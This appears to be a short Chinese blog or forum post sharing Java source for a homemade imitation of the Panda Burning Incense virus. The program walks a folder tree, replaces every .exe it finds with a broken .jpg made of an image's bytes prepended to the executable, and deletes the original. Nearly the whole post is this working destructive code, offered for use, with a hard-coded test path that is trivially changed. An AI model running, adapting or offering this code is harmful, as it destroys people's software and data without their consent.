代码呈上:
public class Test {
//https://baike.baidu.com/item/%E7%86%8A%E7%8C%AB%E7%83%A7%E9%A6%99/11050605?fr=aladdin
public static void main(String[] args) throws IOException {
// TODO Auto-generated method stub
//病毒执行路径
String path="C:\\Users\\cj\\Desktop\\病毒测试";
//遍历文件夹,如果把其中的所有exe文件合并成无法执行的文件.
change(path);
}
private static void change(String path) throws IOException{
File srcFile =new File(path);
if(srcFile.isDirectory()){
//如果是文件夹 则得到里面的所有文件再判断
File[] files = srcFile.listFiles();
for (File file : files) {
//继续判断是不是文件,如果是这破坏,如果不是这遍历
change(file.getAbsolutePath());
}
}else{
//如果是exe文件
if(srcFile.getName().endsWith(".exe")){
bug(path);//生成破坏后的文件
//删除原文件
srcFile.delete();
}
}
}
private static void bug(String srcPath) throws FileNotFoundException, IOException {
File srcFile=new File(srcPath);//肯定是文件
String parentPath=srcFile.getParent();//得到父路径
// String srcFileName= srcFile.getName();
String srcFileName= srcFile.getName().split("\\.")[0]+".jpg";
File tagerFile =new File(parentPath,"杭州哪有东京热—"+srcFileName);//破坏后的文件
// BufferedInputStream bis=new BufferedInputStream(new FileInputStream("BugReport.exe"));
BufferedInputStream bis=new BufferedInputStream(new FileInputStream("支付还原.jpg"));
BufferedInputStream bis2=new BufferedInputStream(new FileInputStream(srcFile));
BufferedOutputStream bos=new BufferedOutputStream(new FileOutputStream(tagerFile));
byte[] b=new byte[1024*4];
int len;
while ((len=bis.read(b))!=-1) {
bos.write(b,0,len);
}
while ((len=bis2.read(b))!=-1) {
bos.write(b,0,len);
}
bis2.close();
bos.close();
bis.close();
System.out.println("完成");
}
} |
|